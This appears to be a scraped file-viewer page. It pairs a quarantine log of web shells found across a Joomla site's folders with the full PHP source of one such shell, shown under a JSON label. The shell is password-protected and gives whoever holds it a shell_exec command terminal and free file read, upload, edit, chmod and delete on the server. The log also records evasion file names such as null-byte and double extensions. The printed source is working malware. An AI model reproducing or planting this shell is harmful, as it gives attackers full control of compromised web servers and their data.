vhost: www.archlinexp.eu rel_path: 50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7166 vhost: www.archlinexp.eu rel_path: _h3x_672ba9cf.php.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4848 vhost: www.archlinexp.eu rel_path: administrator/cache/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5110 vhost: www.archlinexp.eu rel_path: administrator/cache/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5114 vhost: www.archlinexp.eu rel_path: administrator/cache/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5115 vhost: www.archlinexp.eu rel_path: administrator/components/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5117 vhost: www.archlinexp.eu rel_path: administrator/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5099 vhost: www.archlinexp.eu rel_path: administrator/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5100 vhost: www.archlinexp.eu rel_path: administrator/ko6h7s5e9kak.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5104 vhost: www.archlinexp.eu rel_path: administrator/language/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5116 vhost: www.archlinexp.eu rel_path: administrator/templates/hathor/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5106 vhost: www.archlinexp.eu rel_path: administrator/templates/isis/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5108 vhost: www.archlinexp.eu rel_path: administrator/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5103 vhost: www.archlinexp.eu rel_path: bexkn.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160204Z finding_ref: 4916 vhost: www.archlinexp.eu rel_path: c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 4838 vhost: www.archlinexp.eu rel_path: c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 4865 vhost: www.archlinexp.eu rel_path: cache/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5015 vhost: www.archlinexp.eu rel_path: cache/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5022 vhost: www.archlinexp.eu rel_path: cache/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5023 vhost: www.archlinexp.eu rel_path: cache/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5025 vhost: www.archlinexp.eu rel_path: cbdjs.json result: quarantined evidence_sha256: 43c4c299ad5f46e41bc68ab64344acb9d0ee7b1b7344fa284a0570c92a96bd1a timestamp: 20260718T160204Z finding_ref: 4899 vhost: www.archlinexp.eu rel_path: components/com_content/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5293 vhost: www.archlinexp.eu rel_path: components/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5292 vhost: www.archlinexp.eu rel_path: cyberdjs.json result: quarantined evidence_sha256: 43c4c299ad5f46e41bc68ab64344acb9d0ee7b1b7344fa284a0570c92a96bd1a timestamp: 20260718T160204Z finding_ref: 4853 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4867 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.php5.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4845 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.php7.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4918 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4887 vhost: www.archlinexp.eu rel_path: friska.php.json result: quarantined evidence_sha256: 80d56ff0d995aa16fc2c15e50ea9826d945ce6d52659a46f55e2692a5cac3d0d timestamp: 20260718T160204Z finding_ref: 4898 vhost: www.archlinexp.eu rel_path: images/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7195 vhost: www.archlinexp.eu rel_path: images/6iyo68ipsz.php.json result: quarantined evidence_sha256: b3cedb62555690bf309116f07bc6fd9beb53f3f58fd3e5fb1102636b084e5b50 timestamp: 20260718T160204Z finding_ref: 5211 vhost: www.archlinexp.eu rel_path: images/backup.f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5165 vhost: www.archlinexp.eu rel_path: images/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5147 vhost: www.archlinexp.eu rel_path: images/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5164 vhost: www.archlinexp.eu rel_path: images/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5167 vhost: www.archlinexp.eu rel_path: images/ko6h7s5e9kak.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5200 vhost: www.archlinexp.eu rel_path: images/ko6h7s5e9kak.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5174 vhost: www.archlinexp.eu rel_path: images/temp.f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5180 vhost: www.archlinexp.eu rel_path: images/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5193 vhost: www.archlinexp.eu rel_path: joth73.json result: quarantined evidence_sha256: 37153723135d788d7dfa2c8b35a804a39a41c6ad26c4cc263c7e939dc54f1169 timestamp: 20260718T160204Z finding_ref: 4901 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.phar.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4879 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4925 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.php5.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4905 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.php7.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4849 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4877 vhost: www.archlinexp.eu rel_path: language/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5214 vhost: www.archlinexp.eu rel_path: logs/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5305 vhost: www.archlinexp.eu rel_path: logs/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5307 vhost: www.archlinexp.eu rel_path: media/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7191 vhost: www.archlinexp.eu rel_path: media/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 4984 vhost: www.archlinexp.eu rel_path: media/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 4991 vhost: www.archlinexp.eu rel_path: media/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4992 vhost: www.archlinexp.eu rel_path: media/ko6h7s5e9kak.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4994 vhost: www.archlinexp.eu rel_path: media/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4997 vhost: www.archlinexp.eu rel_path: modules/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5283 vhost: www.archlinexp.eu rel_path: modules/mod_custom/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5284 vhost: www.archlinexp.eu rel_path: templates/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7182 vhost: www.archlinexp.eu rel_path: templates/_h3x_672ba9cf.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4949 vhost: www.archlinexp.eu rel_path: templates/_h3x_672ba9cf.php.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4948 vhost: www.archlinexp.eu rel_path: templates/beez3/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4981 vhost: www.archlinexp.eu rel_path: templates/beez3/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4982 vhost: www.archlinexp.eu rel_path: templates/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4952 vhost: www.archlinexp.eu rel_path: templates/protostar/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4974 vhost: www.archlinexp.eu rel_path: templates/protostar/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4975 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_8kykulyz.php.json.json result: quarantined evidence_sha256: 23f19d3197130f4dd0420a9c51bcb774da4e341c25a7e7033733ba3eb7a4f5b0 timestamp: 20260718T160204Z finding_ref: 4978 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_g1jujsa9.php.json.json result: quarantined evidence_sha256: 70eb6bc75669692e1867abe510b7087827fc771ce798ef11aee8d1c0a672c08f timestamp: 20260718T160204Z finding_ref: 4980 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_q1z4oez8.php.json.json result: quarantined evidence_sha256: 4c152a15582dde517989ca452df133a2308eeb4410eba39d7bf8d9f278db0a0b timestamp: 20260718T160204Z finding_ref: 4977 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_uwqytc5i.php.json.json result: quarantined evidence_sha256: f0cdeea8d9cf8d5eaea2db8c3d42a9a1a475bacadee1bbf47bb5c1cf91233991 timestamp: 20260718T160204Z finding_ref: 4979 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7188 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4966 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.phar.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4964 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.php.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4965 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.php5.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4961 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.phtml.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4972 vhost: www.archlinexp.eu rel_path: tmp/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5216 vhost: www.archlinexp.eu rel_path: tmp/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5223 vhost: www.archlinexp.eu rel_path: tmp/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5224 vhost: www.archlinexp.eu rel_path: tmp/wirrd.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160204Z finding_ref: 5226 vhost: www.archlinexp.eu rel_path: tmp/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5227 vhost: www.archlinexp.eu rel_path: uploader.json result: quarantined evidence_sha256: c5010f46b3a71c000b5499d6619b3f42605eeafab2c571a50cf0eef31cb67ff7 timestamp: 20260718T160204Z finding_ref: 4941 vhost: www.archlinexp.eu rel_path: vile.php.json result: quarantined evidence_sha256: 3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e timestamp: 20260718T160204Z finding_ref: 4937 vhost: www.archlinexp.eu rel_path: wp-blog.php.json result: quarantined evidence_sha256: 11777d2b150bc992e7445519b47ab6eb4bcc9fb490a3a771b6a0709bd805f565 timestamp: 20260718T160204Z finding_ref: 4888 vhost: www.archlinexp.eu rel_path: wp-blog.php.json.json result: quarantined evidence_sha256: 11777d2b150bc992e7445519b47ab6eb4bcc9fb490a3a771b6a0709bd805f565 timestamp: 20260718T160204Z finding_ref: 4874 vhost: www.archlinexp.eu rel_path: yetixx.json result: quarantined evidence_sha256: 4dd9dec92b40075e710ac0864e0a099d9914df74d50ad1c740d7d3228a601426 timestamp: 20260718T160204Z finding_ref: 4839 vhost: www.archlinexp.eu rel_path: yhajxaav.php%00.jpg.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4929 vhost: www.archlinexp.eu rel_path: yhajxaav.php%00.txt.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4872 vhost: www.archlinexp.eu rel_path: yhajxaav.php.bak.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4940 vhost: www.archlinexp.eu rel_path: yhajxaav.php.jpg.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4834 vhost: www.archlinexp.eu rel_path: yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4911 vhost: www.archlinexp.eu rel_path: yhajxaav.php.txt.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4932 vhost: www.archlinexp.eu rel_path: yhajxaav.php4.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4875 vhost: www.archlinexp.eu rel_path: yhajxaav.php5.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4850 vhost: www.archlinexp.eu rel_path: yhajxaav.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4944
577 lines
17 KiB
JSON
577 lines
17 KiB
JSON
<?php
|
|
// Author XzarMalaka
|
|
// Recode? nub anjeng wkwkkw
|
|
// recode
|
|
|
|
error_reporting(0);
|
|
|
|
$password = 'su';
|
|
session_start();
|
|
if (!isset($_SESSION['logged_in']) && (!isset($_POST['pass']) || $_POST['pass'] !== $password)) {
|
|
echo '<center>
|
|
<pre>
|
|
___________________________
|
|
< root@indonesianxploit~yourdre4m7 >
|
|
---------------------------
|
|
</pre><form method="post"><input type="password" name="pass"><button type="submit">Login</button></form></center>';
|
|
exit;
|
|
} else {
|
|
$_SESSION['logged_in'] = true;
|
|
}
|
|
// ======================
|
|
// Handle AJAX Terminal Command
|
|
if (isset($_POST['ajax_terminal_cmd'])) {
|
|
$cmd = $_POST['ajax_terminal_cmd'];
|
|
$output = shell_exec($cmd . ' 2>&1');
|
|
echo htmlspecialchars($output);
|
|
exit;
|
|
}
|
|
|
|
// ======================
|
|
// Current directory handling
|
|
$dir = isset($_GET['dir']) && is_dir($_GET['dir']) ? $_GET['dir'] : getcwd();
|
|
|
|
// ===============
|
|
// Actions: delete, download, rename, chmod, edit file
|
|
if (isset($_GET['delete'])) {
|
|
$p = $_GET['delete'];
|
|
if (is_dir($p)) deleteDirectory($p);
|
|
else unlink($p);
|
|
header("Location: ?dir=" . urlencode($dir));
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['download'])) {
|
|
$f = $_GET['download'];
|
|
if (is_file($f)) {
|
|
header('Content-Type: application/octet-stream');
|
|
header('Content-Disposition: attachment; filename="' . basename($f) . '"');
|
|
header('Content-Length: ' . filesize($f));
|
|
readfile($f);
|
|
exit;
|
|
}
|
|
}
|
|
|
|
if (isset($_GET['readfile'])) {
|
|
$f = $_GET['readfile'];
|
|
if (file_exists($f) && is_file($f)) {
|
|
header("Content-Type: text/plain");
|
|
echo file_get_contents($f);
|
|
} else {
|
|
http_response_code(404);
|
|
echo "File not found";
|
|
}
|
|
exit;
|
|
}
|
|
|
|
if (isset($_POST['rename_old'], $_POST['rename_new'])) {
|
|
$old = $_POST['rename_old'];
|
|
$new = dirname($old) . '/' . basename($_POST['rename_new']);
|
|
if (file_exists($old) && !file_exists($new)) rename($old, $new);
|
|
header("Location: ?dir=" . urlencode($dir));
|
|
exit;
|
|
}
|
|
|
|
if (isset($_POST['chmod_target'], $_POST['chmod_mode'])) {
|
|
$target = $_POST['chmod_target'];
|
|
$mode = octdec($_POST['chmod_mode']);
|
|
if (file_exists($target)) chmod($target, $mode);
|
|
header("Location: ?dir=" . urlencode($dir));
|
|
exit;
|
|
}
|
|
|
|
if (isset($_POST['edit_path'], $_POST['edit_content'])) {
|
|
file_put_contents($_POST['edit_path'], $_POST['edit_content']);
|
|
header("Location: ?dir=" . urlencode($dir));
|
|
exit;
|
|
}
|
|
|
|
// Upload file handler
|
|
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fileToUpload'])) {
|
|
$uploadDir = $dir . DIRECTORY_SEPARATOR;
|
|
$targetFile = $uploadDir . basename($_FILES["fileToUpload"]["name"]);
|
|
|
|
if ($_FILES["fileToUpload"]["size"] > 5 * 1024 * 1024) {
|
|
$uploadMsg = "<p style='color:red;'>Error: File terlalu besar (max 5MB).</p>";
|
|
} else {
|
|
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
|
|
$uploadMsg = "<p style='color:green;'>File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " berhasil diupload.</p>";
|
|
} else {
|
|
$uploadMsg = "<p style='color:red;'>Error saat mengupload file.</p>";
|
|
}
|
|
}
|
|
}
|
|
|
|
// Create folder handler
|
|
if (isset($_POST['new_folder_name'])) {
|
|
$newFolder = $dir . DIRECTORY_SEPARATOR . basename($_POST['new_folder_name']);
|
|
if (!file_exists($newFolder)) {
|
|
mkdir($newFolder);
|
|
header("Location: ?dir=" . urlencode($dir));
|
|
exit;
|
|
} else {
|
|
$folderMsg = "<p style='color:red;'>Folder sudah ada.</p>";
|
|
}
|
|
}
|
|
|
|
// Create file handler
|
|
if (isset($_POST['new_file_name'])) {
|
|
$newFile = $dir . DIRECTORY_SEPARATOR . basename($_POST['new_file_name']);
|
|
if (!file_exists($newFile)) {
|
|
file_put_contents($newFile, "");
|
|
header("Location: ?dir=" . urlencode($dir));
|
|
exit;
|
|
} else {
|
|
$fileMsg = "<p style='color:red;'>File sudah ada.</p>";
|
|
}
|
|
}
|
|
|
|
// Delete directory recursive function
|
|
function deleteDirectory($dir) {
|
|
if (!file_exists($dir)) return;
|
|
if (!is_dir($dir)) return unlink($dir);
|
|
foreach (scandir($dir) as $item) {
|
|
if (in_array($item, ['.', '..'])) continue;
|
|
deleteDirectory($dir . '/' . $item);
|
|
}
|
|
rmdir($dir);
|
|
}
|
|
|
|
// Format size helper
|
|
function formatSize($bytes) {
|
|
$sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
|
|
$i = 0;
|
|
while ($bytes >= 1024 && $i < count($sizes) - 1) {
|
|
$bytes /= 1024;
|
|
$i++;
|
|
}
|
|
return round($bytes, 2) . ' ' . $sizes[$i];
|
|
}
|
|
|
|
// Render file list table
|
|
function renderTable($dir) {
|
|
$rows = '';
|
|
foreach (scandir($dir) as $f) {
|
|
if (in_array($f, ['.', '..'])) continue;
|
|
$p = $dir . '/' . $f;
|
|
$isDir = is_dir($p);
|
|
$size = $isDir ? '-' : formatSize(filesize($p));
|
|
$mod = date('Y-m-d H:i:s', filemtime($p));
|
|
$perm = substr(sprintf('%o', fileperms($p)), -4);
|
|
$rows .= "
|
|
<tr>
|
|
<td><a href='" . ($isDir ? "?dir=" . urlencode($p) : "#") . "'>" . htmlspecialchars($f) . "</a></td>
|
|
<td>$size</td>
|
|
<td>$mod</td>
|
|
<td><code>$perm</code></td>
|
|
<td>
|
|
" . (!$isDir ? "<a href='?download=" . urlencode($p) . "'>Download</a> | " : "") . "
|
|
<a href='?delete=" . urlencode($p) . "&dir=" . urlencode($dir) . "' onclick='return confirm(\"Delete " . htmlspecialchars($f) . "?\")' style='color:red;'>Delete</a> |
|
|
<a href='#' onclick='renamePrompt(\"" . addslashes($p) . "\",\"" . addslashes($f) . "\")'>Rename</a> |
|
|
<a href='#' onclick='chmodPrompt(\"" . addslashes($p) . "\",\"$perm\")'>Chmod</a>" .
|
|
(!$isDir ? " | <a href='#' onclick='editPrompt(\"" . addslashes($p) . "\")'>Edit</a>" : "") .
|
|
"
|
|
</td>
|
|
</tr>";
|
|
}
|
|
return "<table>
|
|
<thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perm</th><th>Action</th></tr></thead>
|
|
<tbody>$rows</tbody>
|
|
</table>";
|
|
}
|
|
|
|
function pathBreadcrumb($dir) {
|
|
$parts = explode(DIRECTORY_SEPARATOR, $dir);
|
|
$path = '';
|
|
$crumbs = [];
|
|
// Build breadcrumb links
|
|
foreach ($parts as $part) {
|
|
if ($part === '') continue;
|
|
$path .= DIRECTORY_SEPARATOR . $part;
|
|
$crumbs[] = "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($part) . "</a>";
|
|
}
|
|
return implode(' / ', $crumbs);
|
|
}
|
|
|
|
?>
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8" />
|
|
<title>PHP File Explorer</title>
|
|
<style>
|
|
/* Reset & base */
|
|
* { box-sizing: border-box; }
|
|
body {
|
|
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
|
background-color: #121212;
|
|
color: #eee;
|
|
margin: 0; padding: 0;
|
|
}
|
|
a {
|
|
color: #67e167;
|
|
text-decoration: none;
|
|
}
|
|
a:hover {
|
|
text-decoration: underline;
|
|
}
|
|
header {
|
|
background: #1f1f1f;
|
|
padding: 10px 20px;
|
|
font-size: 1.2rem;
|
|
font-weight: 600;
|
|
user-select: none;
|
|
}
|
|
main {
|
|
padding: 20px;
|
|
}
|
|
table {
|
|
width: 100%;
|
|
border-collapse: collapse;
|
|
margin-top: 15px;
|
|
}
|
|
th, td {
|
|
border: 1px solid #333;
|
|
padding: 10px;
|
|
text-align: center;
|
|
font-family: monospace;
|
|
}
|
|
th {
|
|
background: #222;
|
|
}
|
|
tbody tr:hover {
|
|
background-color: #222;
|
|
}
|
|
